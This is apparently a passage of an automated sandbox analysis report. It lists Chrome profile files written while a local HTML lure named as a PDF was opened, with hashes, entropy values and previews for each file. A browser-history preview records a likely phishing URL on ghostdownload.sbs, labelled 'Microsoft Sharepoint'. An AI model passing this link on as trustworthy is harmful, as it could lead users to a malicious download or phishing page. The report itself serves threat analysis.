SHA-512: 1ECA16C4CBADB56DF10BE32E64CD1A69E2CBD01DF6873DDE375F77C0B2854C48347CCD802352E8F6A91F43758BE3ACDC729DCC5D836AB589CDC1E86EC145C
722

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C..........g....._.c...~.2..............................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
.......................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 38

Entropy (8bit): 1.8784775129881184

Encrypted: false

SSDEEP: 3:FQxlXNQxlX:qTCT

MD5: 51A2CBB807F5085530DEC18E45CB8569

SHA1: 7AD88CD3DE5844C7FC269C4500228A630016AB5B

SHA-256: 1C43A1BDA1E458863C46DFAE7FB43BFB3E27802169F37320399B1DD799A819AC

SHA-512: B643A8FA75EDA90C89AB98F79D4D022BB81F1F62F50ED4E5440F487F22D1163671EC3AE73C4742C11830214173FF2935C785018318F4A4CAD413AE4EEEF985DF

Malicious: false

Reputation: unknown

Preview:
.f.5................f.5...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 372

Entropy (8bit): 5.207128911985539

Encrypted: false

SSDEEP: 6:Mi5+q2Pwkn23iKKdK25+Xqx8chI+IFUtqVTi/ZmwYVTi8pNVkwOwkn23iKKdK25N:Mi0vYf5KkTXfchI3FUtui//0i8p5Jf5G

MD5: 3C092799062F7C38D24256B764D66116

SHA1: F8DE7993A82D15CC5AA8779A505C38CED6BCDA20

SHA-256: 1546C88E93D41A07578274F42E5A28CBD6A28DD921A13D9E7CBF321DF6DABCEF

SHA-512: F3AD4384ED3E34F10FBE5961308AB565C8D41F8E7921B9AE251E1D94AAA7AE1ACDCB6F3A3B44C322A1B0BD43AB3B8F2483D4F9264FCAA46365F7F4CC8DCF48
D8

Malicious: false

Reputation: unknown
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Preview:
2022/01/13-22:05:24.331 1a88 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2022/01/13-22:05:24.333 1a88 Recovering log #3.2022/01/13-22:05:24.334 1a88 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 372

Entropy (8bit): 5.207128911985539

Encrypted: false

SSDEEP: 6:Mi5+q2Pwkn23iKKdK25+Xqx8chI+IFUtqVTi/ZmwYVTi8pNVkwOwkn23iKKdK25N:Mi0vYf5KkTXfchI3FUtui//0i8p5Jf5G

MD5: 3C092799062F7C38D24256B764D66116

SHA1: F8DE7993A82D15CC5AA8779A505C38CED6BCDA20

SHA-256: 1546C88E93D41A07578274F42E5A28CBD6A28DD921A13D9E7CBF321DF6DABCEF

SHA-512: F3AD4384ED3E34F10FBE5961308AB565C8D41F8E7921B9AE251E1D94AAA7AE1ACDCB6F3A3B44C322A1B0BD43AB3B8F2483D4F9264FCAA46365F7F4CC8DCF48
D8

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:24.331 1a88 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2022/01/13-22:05:24.333 1a88 Recovering log #3.2022/01/13-22:05:24.334 1a88 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User 
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 358

Entropy (8bit): 5.182701049430336

Encrypted: false

SSDEEP: 6:Mi3ddHN+q2Pwkn23iKKdK25+XuoIFUtqVTiK5ZmwYVTiKtVkwOwkn23iKKdK25+Z:MiNGvYf5KkTXYFUtuim/0ia5Jf5KkTXp

MD5: DEE700563D1AED4BC607C9FAD432F768

SHA1: 40BFC0FFF8750B69424E866BD0FEBE8D6C6D0340

SHA-256: 4142108CBB82FF7312978295803DCBF7BD2F2FA293480547A41125E7527E8AD0

SHA-512: 22AAC73827867F07FCCA08247B59C9584E683ECA0F9E179D23B52E18048D5AB3B177BB80EEB3E8519C5B601C114B812F87063AD2A7F670B785E8B38AA99958BD

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:24.326 1a88 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-
000001.2022/01/13-22:05:24.327 1a88 Recovering log #3.2022/01/13-22:05:24.327 1a88 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data
\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 358

Entropy (8bit): 5.182701049430336

Encrypted: false

SSDEEP: 6:Mi3ddHN+q2Pwkn23iKKdK25+XuoIFUtqVTiK5ZmwYVTiKtVkwOwkn23iKKdK25+Z:MiNGvYf5KkTXYFUtuim/0ia5Jf5KkTXp

MD5: DEE700563D1AED4BC607C9FAD432F768

SHA1: 40BFC0FFF8750B69424E866BD0FEBE8D6C6D0340

SHA-256: 4142108CBB82FF7312978295803DCBF7BD2F2FA293480547A41125E7527E8AD0

SHA-512: 22AAC73827867F07FCCA08247B59C9584E683ECA0F9E179D23B52E18048D5AB3B177BB80EEB3E8519C5B601C114B812F87063AD2A7F670B785E8B38AA99958BD

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:24.326 1a88 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-
000001.2022/01/13-22:05:24.327 1a88 Recovering log #3.2022/01/13-22:05:24.327 1a88 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data
\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 330
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Entropy (8bit): 5.1633267730596

Encrypted: false

SSDEEP: 6:MiIWt+q2Pwkn23iKKdKWT5g1IdqIFUtqVTiIWOZmwYVTiIWj3VkwOwkn23iKKdKn:MiMvYf5Kkg5gSRFUtuiC/0i3F5Jf5Kkn

MD5: 2ED4422B2AF7D8D77944A71F966379FC

SHA1: B47A726DB4836071A54B444C5C57F120D2C49221

SHA-256: 1899AF7A2B38E892AABFF73752DE17ED470DA4AE6CBAE278EB1C903EBB92661B

SHA-512: 264DE992BBF46EF4102363E4B49D117D9E01F4AC1EF243F7B1E7CAC05924DCC9109B9C8581BF5A8AC31FE16DCB6FFD2749B4A10AF55707F5F7D8E1EAAA43F2
C1

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:24.230 1a88 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/MANIFEST-000001.2022/01
/13-22:05:24.231 1a88 Recovering log #3.2022/01/13-22:05:24.232 1a88 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM S
tore\Encryption/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 330

Entropy (8bit): 5.1633267730596

Encrypted: false

SSDEEP: 6:MiIWt+q2Pwkn23iKKdKWT5g1IdqIFUtqVTiIWOZmwYVTiIWj3VkwOwkn23iKKdKn:MiMvYf5Kkg5gSRFUtuiC/0i3F5Jf5Kkn

MD5: 2ED4422B2AF7D8D77944A71F966379FC

SHA1: B47A726DB4836071A54B444C5C57F120D2C49221

SHA-256: 1899AF7A2B38E892AABFF73752DE17ED470DA4AE6CBAE278EB1C903EBB92661B

SHA-512: 264DE992BBF46EF4102363E4B49D117D9E01F4AC1EF243F7B1E7CAC05924DCC9109B9C8581BF5A8AC31FE16DCB6FFD2749B4A10AF55707F5F7D8E1EAAA43F2
C1

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:24.230 1a88 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/MANIFEST-000001.2022/01
/13-22:05:24.231 1a88 Recovering log #3.2022/01/13-22:05:24.232 1a88 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM S
tore\Encryption/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 118784

Entropy (8bit): 0.6840422730636883

Encrypted: false

SSDEEP: 384:sBtBFFTBzBYBaBbM1abRU3iVy/BBE3u0BJBl:c/H9d4abMkbRoiWBBj0bl

MD5: 85977D5D9F79F165B3722D5AFEC8BD20

SHA1: 219CEFA04EDCD0EA0C854707BDDF38933C9179AF

SHA-256: 11274BA0FD4BCF830E330B16ED084A3A4728EB6EDF711433491D6FB3C1B59610

SHA-512: 0445DA928D298438083EF116CED42BA16D56D57DBA61B79BB474CE9D77DC25083C8804E5F486AE0C7EF1784EE0B9E69C03CDD25E1DD9FE8790EFB2F4DE22C4
8F

Malicious: false

Reputation: unknown

Preview:
SQLite format 3......@  ..........................................................................C.......................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 1254

Entropy (8bit): 5.723190094546298

Encrypted: false

SSDEEP: 24:v1JBuljoU/KuBuzjYV97F7DGqrCblUCxvBP+yUx9yBDOxobiBuNKUxUpYLzNjiBV:dJBVU/KuBcg5NG2CpxvbiBCFxsYLzNjS

MD5: 55F64C0E6614BEF4D6E05B2CA9C4D4DC

SHA1: F628AF6D538B9A6E4E24B828A909438D50EB3777

SHA-256: AD3830CA5F02638425DB49916C43E27BE087F8F19E323EB4DD22095E39774744

SHA-512: 91A066039B2A075E28BD8FD9636CC3E7AA63EC53E376F43F084B553C065AEA2B29F8128E82E2A0D10E57FFF5DF27ED73F74912B8361EE34F2C8BD214F48B542B
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Malicious: false

Reputation: unknown

Preview:
..........."......7564c3328869m00865113607754b653..file..ghostdownload..https..microsoft..sbs..sharepoint..c..desktop..doc3038210381..html..user..pdf..users*.....#..7564c
3328869m00865113607754b653......c......desktop......doc3038210381......file......ghostdownload......html......https......user......microsoft......pdf......sbs......sharepoint......
users..2.........0.........1.........2.........3.........4........5........6........7........8.........9........a.........b.........c...........d...........e............f..........g........h...........i..........j........k........l.........
.m..........n..........o.............p...........r..........s...............t.............u........w...:............................................................................................................................................B.....v...... ..
....*>https://ghostdownload.sbs/file-7564c3328869m00865113607754b6532.Microsoft Sharepoint:...............o...... .......*7file:///C:/Users/j

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 46

Entropy (8bit): 4.284006521086276

Encrypted: false

SSDEEP: 3:tXOP+VxjzhVWFv:MilhVg

MD5: C8317666161974540F30BFDF01FFE42B

SHA1: 3D4671855E63996672A6C42E050493857E6B86C1

SHA-256: 2DB3FFF184D1B0691F23A5B3B90688F071D0D7194EA56FABC3C540A5FB711CA2

SHA-512: 14398B180849273E7389E7734850C4A1E2155B14415078C4663D67FB91B05DC0394AB46209F86EC73DF393695BC925E53E602B001AA16A9B1C1235EA463EE36C

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:32.486 19f8 Delete type=3 #1.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Last Sessionl (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 2351

Entropy (8bit): 3.200038152286265

Encrypted: false

SSDEEP: 48:34m07lXx8YdolAjhYdSiBeIjXAt3Sv3fzRRRL:34mAvoSiBeITAQB

MD5: 30FC13051A9AADE47639F93570729B17

SHA1: F81C6E16121D40A5E01D9ADCB6DBA42F8763B2D7

SHA-256: 41AA6B168E6F035BB4C2F470D956EF792E8992AF7D97A190A5B8939A29B735E0

SHA-512: 09A8529D8F0193A3BB59A3CC45C2711CA8E65613DF4819D19D3DE2B33F0F26C8E8E77C0FD42FF08F2CECC953C36B23E932F125352C07680465DF797E1A859978

Malicious: false

Reputation: unknown

Preview:
SNSS....................................................!.............................................1..,.......$...126d4418_fda7_4dbb_999e_390caaf8125a........................r....................................................
.......................................................7...file:///C:/Users/user/Desktop/Doc3038210381%20pdf.html.....................................................h.......`.......................................................
.q..}....q..}...........0...............................v...7...f.i.l.e.:./././.C.:./.U.s.e.r.s./.j.o.n.e.s./.D.e.s.k.t.o.p./.D.o.c.3.0.3.8.2.1.0.3.8.1.%.2.0.p.d.f...h.t.m.l...................................8.......0...
....8....................................................................... .......................................................7...file:///C:/Users/user/Desktop/Doc3038210381%20pdf.html........S.4/..................
...........................5..0.......&...{730C75E3-B87A-4292-818B-DC8F984D08AE}..................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Last Tabs.. (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 8

Entropy (8bit): 1.8112781244591325

Encrypted: false

SSDEEP: 3:3Dtn:3h

MD5: 0686D6159557E1162D04C44240103333

SHA1: 053E9DB58E20A67D1E158E407094359BF61D0639

SHA-256: 3303D5EED881951B0BB52CF1C6BFA758770034D0120C197F9F7A3520B92A86FB

SHA-512: 884C0D3594390E2FC0AEAB05460F0783815170C4B57DB749B8AD9CD10741A5604B7A0F979465C4171AD9C14ED56359A4508B4DE58E794550599AAA261120976C

Malicious: false

Reputation: unknown

Preview:
SNSS....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped
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Size (bytes): 7826

Entropy (8bit): 5.380760024641606

Encrypted: false

SSDEEP: 192:9OMpd3fvvE5fgPVZHgQtywrdqdg/E5fgnd:IWLV5T/d

MD5: 9E11420D05568A41FF850288E7292A83

SHA1: A5C061C5CCCEB976DEAA199731D80B2FC5B319BF

SHA-256: 6A1E8710656CDB0557CCCCEE4376538D24067247B2E48A2F6A17169852933B60

SHA-512: 98E53474A6B53FE58BF8D4AEF21FB4EB6BE6FD6E188846C714CA439B967774DD206AA99A9D14FFC7DBC9CD40C3D6F1E698259E7098EF576EB330579A35AC85A
5

Malicious: false

Reputation: unknown

Preview:
.ch@.................VERSION.1.8META:chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..............Q_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjb
eemfm..mr.persistent.CloudProvider7.{"cloudEnabled":false,"notifiedHangoutsPrivacy":false}.S_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.persistent.
IdentityService6.{"signedIn":false,"userEmail":null,"kioskAuth":false}.Y_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.HangoutSinkDiscoveryServic
e;.{"cache":{"sinks":{},"g":{},"h":null},"manualHangouts":{}}.a_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.IdGenerator.cast.RequestIdGenerator
..285164000.H_chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm..mr.temp.LogManager...["[2020-09-30 09:28:42.02][INFO][mr.Init] MR instance ID: a3f601d9-
09ed-4d73-b6cf-2acd12d4689c\n","[2020-09-30 09:28:42.02][INFO][mr.Init] Native Cast MRP is disabled.\n","[2020-09-30 09:28:42.02][INFO][mr.Init] Native Mirroring Ser
vice is enabled.\n","[2020-09-30 09:28:42.02][INFO

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 332

Entropy (8bit): 5.128534509256066

Encrypted: false

SSDEEP: 6:MiWqVOq2Pwkn23iKKdK8a2jMGIFUtqVTiWzF+ZmwYVTiW3FKzkwOwkn23iKKdK8N:MifOvYf5Kk8EFUtuiF/0iHz5Jf5Kk8bJ

MD5: F95BC44264A3647C2CD01A0C8C6BD010

SHA1: 9AF5EAFC4EE7407EF64857740D134BE7C687A749

SHA-256: B719E6C6191F21B957BEFFC9A512A75B454107C0E41B2AD64FE9B3665C85E94F

SHA-512: 7698BA98CAB63AAB0BA245C78BED7ACD02D9016F969531F1ECBDC721AE876C6F55705399FB729EC9364773A42D4C31A28E998F917B9A4F805E14C4ABA56A4BB
5

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:15.615 1950 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2022/0
1/13-22:05:15.622 1950 Recovering log #3.2022/01/13-22:05:15.626 1950 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\
leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\LOG.old (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 332

Entropy (8bit): 5.128534509256066

Encrypted: false

SSDEEP: 6:MiWqVOq2Pwkn23iKKdK8a2jMGIFUtqVTiWzF+ZmwYVTiW3FKzkwOwkn23iKKdK8N:MifOvYf5Kk8EFUtuiF/0iHz5Jf5Kk8bJ

MD5: F95BC44264A3647C2CD01A0C8C6BD010

SHA1: 9AF5EAFC4EE7407EF64857740D134BE7C687A749

SHA-256: B719E6C6191F21B957BEFFC9A512A75B454107C0E41B2AD64FE9B3665C85E94F

SHA-512: 7698BA98CAB63AAB0BA245C78BED7ACD02D9016F969531F1ECBDC721AE876C6F55705399FB729EC9364773A42D4C31A28E998F917B9A4F805E14C4ABA56A4BB
5

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:15.615 1950 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2022/0
1/13-22:05:15.622 1950 Recovering log #3.2022/01/13-22:05:15.626 1950 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\
leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\MANIFEST-000001
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: PGP\011Secret Key -

Category: dropped

Size (bytes): 41

Entropy (8bit): 4.704993772857998

Encrypted: false

SSDEEP: 3:scoBAIxQRDKIVjn:scoBY7jn

MD5: 5AF87DFD673BA2115E2FCF5CFDB727AB
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SHA1: D5B5BBF396DC291274584EF71F444F420B6056F1

SHA-256: F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4

SHA-512: DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C237
5B

Malicious: false

Reputation: unknown

Preview:
.|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\MANIFEST-000001

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\MANIFEST-000002
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: MPEG-4 LOAS

Category: dropped

Size (bytes): 50

Entropy (8bit): 4.948758439731456

Encrypted: false

SSDEEP: 3:Ukk/vxQRDKIVqU0blS:oO7iblS

MD5: 22BF0E81636B1B45051B138F48B3D148

SHA1: 56755D203579AB356E5620CE7E85519AD69D614A

SHA-256: E292F241DAAFC3DF90F3E2D339C61C6E2787A0D0739AAC764E1EA9BB8544EE97

SHA-512: A4CF1F5C74E0DF85DDA8750BE9070E24E19B8BE15C6F22F0C234EF8423EF9CA3DB22BA9EF777D64C33E8FD49FADA6FCCA26C1A14BA18E8472370533A1C65D8
D0

Malicious: false

Reputation: unknown

Preview:
V........leveldb.BytewiseComparator...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State. (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 1824

Entropy (8bit): 4.855103069490695

Encrypted: false

SSDEEP: 48:Y2nzM3qK6qDHGXCtwWskQRLsE5sOyKs1MHNYhbw:JnzMaKxDHGXCOpjF4GqhM

MD5: 3513A8ECC8F01959AF94C900E847CE45

SHA1: C5C149B313FF9EF2E6C43F8F517BC069ADA59C12

SHA-256: E1A49EA84EC4E1783257C454BE65693D2A4DD0EFC9B04C0872EBBD41361AED1E

SHA-512: 07444B7222A53C932C08A55CE4DFA0CC2FA44E8C1986272F92EE18141F4E78A291125675853AD67DC6CA8091970D254B65C2A072A4FC0F1D7E7A00E90E06AE0F

Malicious: false

Reputation: unknown

Preview:
{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","suppor
ts_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://redirector.gvt1.com","supports_spdy":true},{"
isolation":[],"server":"https://fonts.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https:
//play.google.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","su
pports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"alt
ernative_service":[{"advertised_versions":[50],"expiration":"13289173517862649","port":443,"protocol_str":"quic"}],"isolation":[],"server":"

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State3} (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 3473

Entropy (8bit): 4.884897250513757

Encrypted: false

SSDEEP: 96:6FGX0G70GhIGpyGzRDYLiEHYDBKGzUGaCGjHGESHG/OG6mhd:6Fe0i0sIIyGzRDYLiEHYDBKSUpCQHrSa

MD5: A1CDBC88F8B4CC8D10212775766B42CF

SHA1: 895505AE442DC20942D1D7A5094B01E3DCE208F4

SHA-256: AFB41143BF853D6784565FA685200B22EC79DFE2A846E8C774C1D4CBD5A9C82D

SHA-512: E12E2260702115347A053A6A323732901D440C5D391041AFD7920FCEF6AC53BF2C6376E0651F4A6BBB2A6F8DFED7C56BAD8EA7131C85A8B5B676C9CAA71F1D2
F

Malicious: false

Reputation: unknown
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Preview:
{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607497410","port":443,"protocol_str":"quic"}],"isolation":
[],"network_stats":{"srtt":27387},"server":"https://www.gstatic.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"1324851660
7334226","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":34287},"server":"https://ssl.gstatic.com","supports_spdy":true},{"alternative_service":[{"adverti
sed_versions":[],"expiration":"13248516607463627","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31787},"server":"https://fonts.gstatic.com","s
upports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248516607318875","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{
"srtt":23359},"server":"https://apis.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State3} (copy)

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 334

Entropy (8bit): 5.158202028386731

Encrypted: false

SSDEEP: 6:Mivuq2Pwkn23iKKdKgXz4rRIFUtqVTijugZZmwYVTixBzkwOwkn23iKKdKgXz4qG:MiGvYf5KkgXiuFUtuiKM/0ixBz5Jf5K2

MD5: B0041F2EE3D01B4A3037DB9F94382899

SHA1: 37B04813AD1F2FC09787A3A4C36E5A4FACCEA9A8

SHA-256: AB768EE5DADA422F3F6042653D25E41C9D170A307415252FB546ED18F3340D4F

SHA-512: 823BE73756CCD05C646014F176768EE0D869F74EFD56E8067AB93E3EF011248BD32541D1F966F7F26855D4CC007961917919B1B6AEFF28BDBF81BF6866243453

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:16.244 1a04 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/MANIFEST-000001.2022/
01/13-22:05:16.248 1a04 Recovering log #3.2022/01/13-22:05:16.251 1a04 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Noti
fications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications\LOG.old.X (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 334

Entropy (8bit): 5.158202028386731

Encrypted: false

SSDEEP: 6:Mivuq2Pwkn23iKKdKgXz4rRIFUtqVTijugZZmwYVTixBzkwOwkn23iKKdKgXz4qG:MiGvYf5KkgXiuFUtuiKM/0ixBz5Jf5K2

MD5: B0041F2EE3D01B4A3037DB9F94382899

SHA1: 37B04813AD1F2FC09787A3A4C36E5A4FACCEA9A8

SHA-256: AB768EE5DADA422F3F6042653D25E41C9D170A307415252FB546ED18F3340D4F

SHA-512: 823BE73756CCD05C646014F176768EE0D869F74EFD56E8067AB93E3EF011248BD32541D1F966F7F26855D4CC007961917919B1B6AEFF28BDBF81BF6866243453

Malicious: false

Reputation: unknown

Preview:
2022/01/13-22:05:16.244 1a04 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Notifications/MANIFEST-000001.2022/
01/13-22:05:16.248 1a04 Recovering log #3.2022/01/13-22:05:16.251 1a04 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Platform Noti
fications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 5840

Entropy (8bit): 5.1898350726250255

Encrypted: false

SSDEEP: 96:naLhOBb90iLIKID5k0JCKL8sjkTEMbOTlVuHn:naLhq9bINh4KpjkTx

MD5: 45CBDCA88BA89D74587CA430ED3B2D7D

SHA1: 2C4749C4F5560B4AB0A4B54C09E0D3856A353BE8

SHA-256: A53E4E4595F9E1656A88067E30A1DC5A658BB4A33B55929514F8181318BF30F0

SHA-512: 3BA3D4CF3125AEFF3D0ADE170583DDB7114BAA9F1F712629A888E51119C46E0D96A9C5BFFBA5C956E456D44103B38A640C362FB57477355F0E51BE3DA66C7B1
6

Malicious: false

Reputation: unknown

Preview:
{"account_id_migration_state":2,"account_tracker_service_last_update":"13286581516153243","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_al
l_tabs":false},"browser":{"default_browser_infobar_last_declined":"13245924607060180","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_d
efault_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_rig
ht":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","2042016"],"daily_recei
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PreferencesMP (copy)
Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: dropped

Size (bytes): 4953

Entropy (8bit): 4.9393240528425295

Encrypted: false

